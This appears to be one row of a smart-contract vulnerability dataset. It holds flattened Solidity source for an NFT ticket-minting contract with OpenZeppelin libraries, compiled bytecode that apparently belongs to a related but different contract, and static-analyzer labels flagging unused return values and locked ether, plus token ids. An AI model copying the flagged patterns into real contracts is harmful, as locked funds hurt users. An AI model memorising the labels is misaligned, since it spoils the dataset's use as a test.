event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.11;
interface CryptoPunksMarket {
function punkIndexToAddress(uint256) external view returns (address);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.11;
import "ERC721Enumerable.sol";
import "Ownable.sol";
import "MerkleProof.sol";
contract NipplePunkTickets is ERC721Enumerable, Ownable {
uint256 constant NIPPLE_PUNK_TOTAL_SUPPLY = 10000;
uint256 public available = 0;
uint256 public nextTokenId = 0;
bool public presaleOpen = false;
bool public publicMintOpen = false;
bytes32 public presaleWhitelistMerkleRoot;
uint256 public publicMintPrice = 0.07 ether;
uint256 public presaleMintPrice = 0.02 ether;
mapping(address => bool) presaleUsed;
uint16[NIPPLE_PUNK_TOTAL_SUPPLY] public ticketToNipplePunkMapping;
bytes32 public mappingHash;
constructor(bytes32 mappingHash_) ERC721("NipplePunkTickets", "\u2299T") {
mappingHash = mappingHash_;
}
modifier onlyWhenNextTokenAvailable() {
require(nextTokenId < available, "No more tokens available");
_;
}
function _mintImpl() private {
_safeMint(_msgSender(), nextTokenId++);
}
function presaleMint(bytes32[] calldata proof)
external
payable
onlyWhenNextTokenAvailable
{
require(presaleOpen, "Presale is not open");
require(msg.value >= presaleMintPrice, "Wrong price");
require(
!presaleUsed[_msgSender()],
"You have already used your presale quota"
);
require(
MerkleProof.verify(
proof,
presaleWhitelistMerkleRoot,
keccak256(abi.encodePacked(_msgSender()))
),
"Invalid proof"
);
presaleUsed[_msgSender()] = true;
_mintImpl();
}
function publicMintMultiple(uint256 count)
external
payable
onlyWhenNextTokenAvailable
{
require(publicMintOpen, "Public mint is not open");
require(msg.value >= publicMintPrice * count, "Wrong price");
for (uint256 i = 0; i < count; i++) {
_mintImpl();
}
}
function publicMint() external payable onlyWhenNextTokenAvailable {
this.publicMintMultiple(1);
}
function burn(uint256 tokenId) external onlyOwner {
_burn(tokenId);
}
function setAvailable(uint256 _available) external onlyOwner {
available = _available;
}
function setPresaleOpen(bool _presaleOpen) external onlyOwner {
presaleOpen = _presaleOpen;
}
function setPublicMintOpen(bool _publicMintOpen) external onlyOwner {
publicMintOpen = _publicMintOpen;
}
function setPresaleWhitelistMerkleRoot(bytes32 _presaleWhitelistMerkleRoot)
external
onlyOwner
{
presaleWhitelistMerkleRoot = _presaleWhitelistMerkleRoot;
}
function setPublicMintPrice(uint256 _publicMintPrice) external onlyOwner {
publicMintPrice = _publicMintPrice;
}
function setPresaleMintPrice(uint256 _presaleMintPrice) external onlyOwner {
presaleMintPrice = _presaleMintPrice;
}
function calculateMappingHash() public view returns (bytes32) {
return keccak256(abi.encode(ticketToNipplePunkMapping));
}
function verifyMappingHash() external view returns (bool) {
return mappingHash == calculateMappingHash();
}
function setMapping(uint16[] calldata mappings, uint16 offset)
external
onlyOwner
{
require(
offset + mappings.length < NIPPLE_PUNK_TOTAL_SUPPLY,
"invalid offset or mapping length"
);
for (uint256 i = 0; i < mappings.length; i++) {
ticketToNipplePunkMapping[i + offset] = mappings[i];
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Enumerable.sol)
pragma solidity ^0.8.0;
import "ERC721.sol";
import "IERC721Enumerable.sol";
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Enumerable.sol)
pragma solidity ^0.8.0;
import "IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/cryptography/MerkleProof.sol)
pragma solidity ^0.8.0;
/**
* @dev These functions deal with verification of Merkle Trees proofs.
*
* The proofs can be generated using the JavaScript library
* https://github.com/miguelmota/merkletreejs[merkletreejs].
* Note: the hashing algorithm should be keccak256 and pair sorting should be enabled.
*
* See `test/utils/cryptography/MerkleProof.test.js` for some examples.
*/
library MerkleProof {
/**
* @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
* defined by `root`. For this, a `proof` must be provided, containing
* sibling hashes on the branch from the leaf to the root of the tree. Each
* pair of leaves and each pair of pre-images are assumed to be sorted.
*/
function verify(
bytes32[] memory proof,
bytes32 root,
bytes32 leaf
) internal pure returns (bool) {
return processProof(proof, leaf) == root;
}
/**
* @dev Returns the rebuilt hash obtained by traversing a Merklee tree up
* from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt
* hash matches the root of the tree. When processing the proof, the pairs
* of leafs & pre-images are assumed to be sorted.
*
* _Available since v4.4._
*/
function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) {
bytes32 computedHash = leaf;
for (uint256 i = 0; i < proof.length; i++) {
bytes32 proofElement = proof[i];
if (computedHash <= proofElement) {
// Hash(current computed hash + current element of the proof)
computedHash = keccak256(abi.encodePacked(computedHash, proofElement));
} else {
// Hash(current element of the proof + current computed hash)
computedHash = keccak256(abi.encodePacked(proofElement, computedHash));
}
}
return computedHash;
}
} | 0x60806040526004361061020f5760003560e01c806388f8efa411610118578063a26dc79d116100a0578063dfe0a8891161006f578063dfe0a889146105d6578063e8a3d485146105f6578063e985e9c51461060b578063f2fde38b14610654578063f8004d311461067457600080fd5b8063a26dc79d14610563578063b3cfff3b14610576578063b88d4fde14610596578063c87b56dd146105b657600080fd5b8063938e3d7b116100e7578063938e3d7b146104e557806395d89b41146105055780639836431f1461051a578063a22cb4651461052d578063a2309ff81461054d57600080fd5b806388f8efa4146104665780638b1e4f61146104865780638da5cb5b146104a65780639378d0b0146104c457600080fd5b80632b140d301161019b578063484b973c1161016a578063484b973c146103db5780636352211e146103fb57806370a082311461041b578063715018a61461043b5780637e6306281461045057600080fd5b80632b140d301461036a578063313ce5671461038a57806335a6907a146103a657806342842e0e146103bb57600080fd5b8063095ea7b3116101e2578063095ea7b3146102c557806318160ddd146102e5578063218585211461030957806323b872dd1461032957806324bbd0491461034957600080fd5b8063019ca0731461021457806301ffc9a71461023657806306fdde031461026b578063081812fc1461028d575b600080fd5b34801561022057600080fd5b5061023461022f366004611b8a565b610694565b005b34801561024257600080fd5b50610256610251366004611bc4565b6106e9565b60405190151581526020015b60405180910390f35b34801561027757600080fd5b5061028061073b565b6040516102629190611c39565b34801561029957600080fd5b506102ad6102a8366004611c4c565b6107cd565b6040516001600160a01b039091168152602001610262565b3480156102d157600080fd5b506102346102e0366004611c65565b610862565b3480156102f157600080fd5b506102fb600a5481565b604051908152602001610262565b34801561031557600080fd5b506008546102ad906001600160a01b031681565b34801561033557600080fd5b50610234610344366004611c91565b610978565b34801561035557600080fd5b5060085461025690600160a81b900460ff1681565b34801561037657600080fd5b50610234610385366004611c4c565b6109a9565b34801561039657600080fd5b5060405160008152602001610262565b3480156103b257600080fd5b50610280610b79565b3480156103c757600080fd5b506102346103d6366004611c91565b610c07565b3480156103e757600080fd5b506102346103f6366004611c65565b610c22565b34801561040757600080fd5b506102ad610416366004611c4c565b610c56565b34801561042757600080fd5b506102fb610436366004611b8a565b610ccd565b34801561044757600080fd5b50610234610d54565b34801561045c57600080fd5b506102fb600b5481565b34801561047257600080fd5b50610234610481366004611ce7565b610d8a565b34801561049257600080fd5b506102346104a1366004611c4c565b610dd2565b3480156104b257600080fd5b506006546001600160a01b03166102ad565b3480156104d057600080fd5b5060085461025690600160a01b900460ff1681565b3480156104f157600080fd5b50610234610500366004611d02565b610e01565b34801561051157600080fd5b50610280610e37565b610234610528366004611dc0565b610e46565b34801561053957600080fd5b50610234610548366004611e02565b610f2b565b34801561055957600080fd5b506102fb60095481565b610234610571366004611c4c565b610f36565b34801561058257600080fd5b50610234610591366004611e37565b610f8f565b3480156105a257600080fd5b506102346105b1366004611ea2565b610ffe565b3480156105c257600080fd5b506102806105d1366004611c4c565b611030565b3480156105e257600080fd5b506007546102ad906001600160a01b031681565b34801561060257600080fd5b50610280611061565b34801561061757600080fd5b50610256610626366004611f82565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b34801561066057600080fd5b5061023461066f366004611b8a565b611070565b34801561068057600080fd5b5061023461068f366004611ce7565b611108565b6006546001600160a01b031633146106c75760405162461bcd60e51b81526004016106be90611fbb565b60405180910390fd5b600880546001600160a01b0319166001600160a01b0392909216919091179055565b60006001600160e01b031982166380ac58cd60e01b148061071a57506001600160e01b03198216635b5e139f60e01b145b8061073557506301ffc9a760e01b6001600160e01b03198316145b92915050565b60606000805461074a90611ff0565b80601f016020809104026020016040519081016040528092919081815260200182805461077690611ff0565b80156107c35780601f10610798576101008083540402835291602001916107c3565b820191906000526020600020905b8154815290600101906020018083116107a657829003601f168201915b5050505050905090565b6000818152600260205260408120546001600160a01b03166108465760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084016106be565b506000908152600460205260409020546001600160a01b031690565b600061086d82610c56565b9050806001600160a01b0316836001600160a01b031614156108db5760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b60648201526084016106be565b336001600160a01b03821614806108f757506108f78133610626565b6109695760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c000000000000000060648201526084016106be565b6109738383611150565b505050565b61098233826111be565b61099e5760405162461bcd60e51b81526004016106be9061202b565b6109738383836112b5565b600854600160a81b900460ff166109f85760405162461bcd60e51b815260206004820152601360248201527236b4b73a34b7339034b9903737ba1037b832b760691b60448201526064016106be565b336008546040516331a9108f60e11b8152600481018490526001600160a01b039283169290911690636352211e90602401602060405180830381865afa158015610a46573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a6a919061207c565b6001600160a01b031614610ac05760405162461bcd60e51b815260206004820152601860248201527f796f7520646f6e2774206f776e20746865207469636b6574000000000000000060448201526064016106be565b60085460405163cb9fa1eb60e01b8152600481018390526000916001600160a01b03169063cb9fa1eb90602401602060405180830381865afa158015610b0a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b2e9190612099565b61ffff166000818152600260205260409020549091506001600160a01b031615610b6a5760405162461bcd60e51b81526004016106be906120bd565b610b75335b82611455565b5050565b600c8054610b8690611ff0565b80601f0160208091040260200160405190810160405280929190818152602001828054610bb290611ff0565b8015610bff5780601f10610bd457610100808354040283529160200191610bff565b820191906000526020600020905b815481529060010190602001808311610be257829003601f168201915b505050505081565b61097383838360405180602001604052806000815250610ffe565b6006546001600160a01b03163314610c4c5760405162461bcd60e51b81526004016106be90611fbb565b610b758282611455565b6000818152600260205260408120546001600160a01b0316806107355760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b60648201526084016106be565b60006001600160a01b038216610d385760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b60648201526084016106be565b506001600160a01b031660009081526003602052604090205490565b6006546001600160a01b03163314610d7e5760405162461bcd60e51b81526004016106be90611fbb565b610d886000611478565b565b6006546001600160a01b03163314610db45760405162461bcd60e51b81526004016106be90611fbb565b60088054911515600160a01b0260ff60a01b19909216919091179055565b6006546001600160a01b03163314610dfc5760405162461bcd60e51b81526004016106be90611fbb565b600b55565b6006546001600160a01b03163314610e2b5760405162461bcd60e51b81526004016106be90611fbb565b610973600c8383611adc565b60606001805461074a90611ff0565b600b541580610e625750600b54610e5e908290612114565b3410155b610e9e5760405162461bcd60e51b815260206004820152600d60248201526c696e76616c696420707269636560981b60448201526064016106be565b60005b81811015610973573063a26dc79d848484818110610ec157610ec1612133565b905060200201356040518263ffffffff1660e01b8152600401610ee691815260200190565b600060405180830381600087803b158015610f0057600080fd5b505af1158015610f14573d6000803e3d6000fd5b505050508080610f2390612149565b915050610ea1565b610b753383836114ca565b600b541580610f475750600b543410155b610f835760405162461bcd60e51b815260206004820152600d60248201526c696e76616c696420707269636560981b60448201526064016106be565b610f8c81611599565b50565b6006546001600160a01b03163314610fb95760405162461bcd60e51b81526004016106be90611fbb565b60005b81811015610ff857610fe684848484818110610fda57610fda612133565b90506020020135611455565b80610ff081612149565b915050610fbc565b50505050565b61100833836111be565b6110245760405162461bcd60e51b81526004016106be9061202b565b610ff88484848461171e565b606061103b82611751565b60405160200161104b9190612164565b6040516020818303038152906040529050919050565b6060600c805461074a90611ff0565b6006546001600160a01b0316331461109a5760405162461bcd60e51b81526004016106be90611fbb565b6001600160a01b0381166110ff5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016106be565b610f8c81611478565b6006546001600160a01b031633146111325760405162461bcd60e51b81526004016106be90611fbb565b60088054911515600160a81b0260ff60a81b19909216919091179055565b600081815260046020526040902080546001600160a01b0319166001600160a01b038416908117909155819061118582610c56565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000818152600260205260408120546001600160a01b03166112375760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084016106be565b600061124283610c56565b9050806001600160a01b0316846001600160a01b0316148061127d5750836001600160a01b0316611272846107cd565b6001600160a01b0316145b806112ad57506001600160a01b0380821660009081526005602090815260408083209388168352929052205460ff165b949350505050565b826001600160a01b03166112c882610c56565b6001600160a01b0316146113305760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201526839903737ba1037bbb760b91b60648201526084016106be565b6001600160a01b0382166113925760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b60648201526084016106be565b61139d600082611150565b6001600160a01b03831660009081526003602052604081208054600192906113c69084906121d7565b90915550506001600160a01b03821660009081526003602052604081208054600192906113f49084906121ee565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b61145f828261184f565b6009805490600061146f83612149565b91905055505050565b600680546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b816001600160a01b0316836001600160a01b0316141561152c5760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c65720000000000000060448201526064016106be565b6001600160a01b03838116600081815260056020908152604080832094871680845294825291829020805460ff191686151590811790915591519182527f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a3505050565b600854600160a01b900460ff166115f25760405162461bcd60e51b815260206004820152601f60248201527f6c6f737420616e6420666f756e64207068617365206e6f74206163746976650060448201526064016106be565b33600754604051630b02f02d60e31b8152600481018490526001600160a01b039283169290911690635817816890602401602060405180830381865afa158015611640573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611664919061207c565b6001600160a01b0316146116e05760405162461bcd60e51b815260206004820152603a60248201527f796f75206e65656420746f206f776e2074686520636f72726573706f6e64696e60448201527f672070756e6b20746f20757365206c6f7374202620666f756e6400000000000060648201526084016106be565b6000818152600260205260409020546001600160a01b0316156117155760405162461bcd60e51b81526004016106be906120bd565b610f8c33610b6f565b6117298484846112b5565b61173584848484611869565b610ff85760405162461bcd60e51b81526004016106be90612206565b6060816117755750506040805180820190915260018152600360fc1b602082015290565b8160005b811561179f578061178981612149565b91506117989050600a8361226e565b9150611779565b60008167ffffffffffffffff8111156117ba576117ba611e8c565b6040519080825280601f01601f1916602001820160405280156117e4576020820181803683370190505b5090505b84156112ad576117f96001836121d7565b9150611806600a86612282565b6118119060306121ee565b60f81b81838151811061182657611826612133565b60200101906001600160f81b031916908160001a905350611848600a8661226e565b94506117e8565b610b75828260405180602001604052806000815250611967565b60006001600160a01b0384163b1561195c57604051630a85bd0160e11b81526001600160a01b0385169063150b7a02906118ad903390899088908890600401612296565b6020604051808303816000875af19250505080156118e8575060408051601f3d908101601f191682019092526118e5918101906122d3565b60015b611942573d808015611916576040519150601f19603f3d011682016040523d82523d6000602084013e61191b565b606091505b50805161193a5760405162461bcd60e51b81526004016106be90612206565b805181602001fd5b6001600160e01b031916630a85bd0160e11b1490506112ad565b506001949350505050565b611971838361199a565b61197e6000848484611869565b6109735760405162461bcd60e51b81526004016106be90612206565b6001600160a01b0382166119f05760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f206164647265737360448201526064016106be565b6000818152600260205260409020546001600160a01b031615611a555760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e7465640000000060448201526064016106be565b6001600160a01b0382166000908152600360205260408120805460019290611a7e9084906121ee565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b828054611ae890611ff0565b90600052602060002090601f016020900481019282611b0a5760008555611b50565b82601f10611b235782800160ff19823516178555611b50565b82800160010185558215611b50579182015b82811115611b50578235825591602001919060010190611b35565b50611b5c929150611b60565b5090565b5b80821115611b5c5760008155600101611b61565b6001600160a01b0381168114610f8c57600080fd5b600060208284031215611b9c57600080fd5b8135611ba781611b75565b9392505050565b6001600160e01b031981168114610f8c57600080fd5b600060208284031215611bd657600080fd5b8135611ba781611bae565b60005b83811015611bfc578181015183820152602001611be4565b83811115610ff85750506000910152565b60008151808452611c25816020860160208601611be1565b601f01601f19169290920160200192915050565b602081526000611ba76020830184611c0d565b600060208284031215611c5e57600080fd5b5035919050565b60008060408385031215611c7857600080fd5b8235611c8381611b75565b946020939093013593505050565b600080600060608486031215611ca657600080fd5b8335611cb181611b75565b92506020840135611cc181611b75565b929592945050506040919091013590565b80358015158114611ce257600080fd5b919050565b600060208284031215611cf957600080fd5b611ba782611cd2565b60008060208385031215611d1557600080fd5b823567ffffffffffffffff80821115611d2d57600080fd5b818501915085601f830112611d4157600080fd5b813581811115611d5057600080fd5b866020828501011115611d6257600080fd5b60209290920196919550909350505050565b60008083601f840112611d8657600080fd5b50813567ffffffffffffffff811115611d9e57600080fd5b6020830191508360208260051b8501011115611db957600080fd5b9250929050565b60008060208385031215611dd357600080fd5b823567ffffffffffffffff811115611dea57600080fd5b611df685828601611d74565b90969095509350505050565b60008060408385031215611e1557600080fd5b8235611e2081611b75565b9150611e2e60208401611cd2565b90509250929050565b600080600060408486031215611e4c57600080fd5b8335611e5781611b75565b9250602084013567ffffffffffffffff811115611e7357600080fd5b611e7f86828701611d74565b9497909650939450505050565b634e487b7160e01b600052604160045260246000fd5b60008060008060808587031215611eb857600080fd5b8435611ec381611b75565b93506020850135611ed381611b75565b925060408501359150606085013567ffffffffffffffff80821115611ef757600080fd5b818701915087601f830112611f0b57600080fd5b813581811115611f1d57611f1d611e8c565b604051601f8201601f19908116603f01168101908382118183101715611f4557611f45611e8c565b816040528281528a6020848701011115611f5e57600080fd5b82602086016020830137600060208483010152809550505050505092959194509250565b60008060408385031215611f9557600080fd5b8235611fa081611b75565b91506020830135611fb081611b75565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600181811c9082168061200457607f821691505b6020821081141561202557634e487b7160e01b600052602260045260246000fd5b50919050565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b60006020828403121561208e57600080fd5b8151611ba781611b75565b6000602082840312156120ab57600080fd5b815161ffff81168114611ba757600080fd5b60208082526021908201527f746869732070756e6b2068617320616c7265616479206265656e206d696e74656040820152601960fa1b606082015260800190565b634e487b7160e01b600052601160045260246000fd5b600081600019048311821515161561212e5761212e6120fe565b500290565b634e487b7160e01b600052603260045260246000fd5b600060001982141561215d5761215d6120fe565b5060010190565b7f697066733a2f2f516d624a677a63576d44557354365a34714738326b377546358152756d513159574870475233754d6b424b634c713153732f60501b6020820152600082516121bb816036850160208701611be1565b64173539b7b760d91b6036939091019283015250603b01919050565b6000828210156121e9576121e96120fe565b500390565b60008219821115612201576122016120fe565b500190565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b634e487b7160e01b600052601260045260246000fd5b60008261227d5761227d612258565b500490565b60008261229157612291612258565b500690565b6001600160a01b03858116825284166020820152604081018390526080606082018190526000906122c990830184611c0d565b9695505050505050565b6000602082840312156122e557600080fd5b8151611ba781611bae56fea2646970667358221220f77d2337d6933f1c7510affed83bc630f429d2281fa438432216f5da3ce457b364736f6c634300080b0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}} | true | null | {'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'locked-ether', 'impact': 'Medium', 'confidence': 'High'}]} | [
101,
1014,
2595,
2683,
22203,
2620,
18139,
17134,
2094,
2575,
2475,
2063,
14142,
2487,
2050,
2692,
18139,
22394,
2581,
2497,
2683,
2581,
2278,
2683,
2487,
20961,
2094,
20842,
16147,
2497,
14142,
2509,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
2340,
1025,
12324,
1000,
9413,
2278,
2581,
17465,
1012,
14017,
1000,
1025,
12324,
1000,
2219,
3085,
1012,
14017,
1000,
1025,
12324,
1000,
19888,
7361,
16814,
26212,
25074,
2102,
1012,
14017,
1000,
1025,
12324,
1000,
14298,
14289,
8950,
26348,
8454,
1012,
14017,
1000,
1025,
3206,
14298,
14289,
8950,
2015,
2003,
9413,
2278,
2581,
17465,
1010,
2219,
3085,
1063,
19888,
7361,
16814,
26212,
25074,
2102,
2270,
7196,
2015,
1025,
14298,
14289,
8950,
26348,
8454,
2270,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,404 | 0x95185a2AB0bD404adc4d13bB9938F8856983BBF9 | // SPDX-License-Identifier: MIT
/*
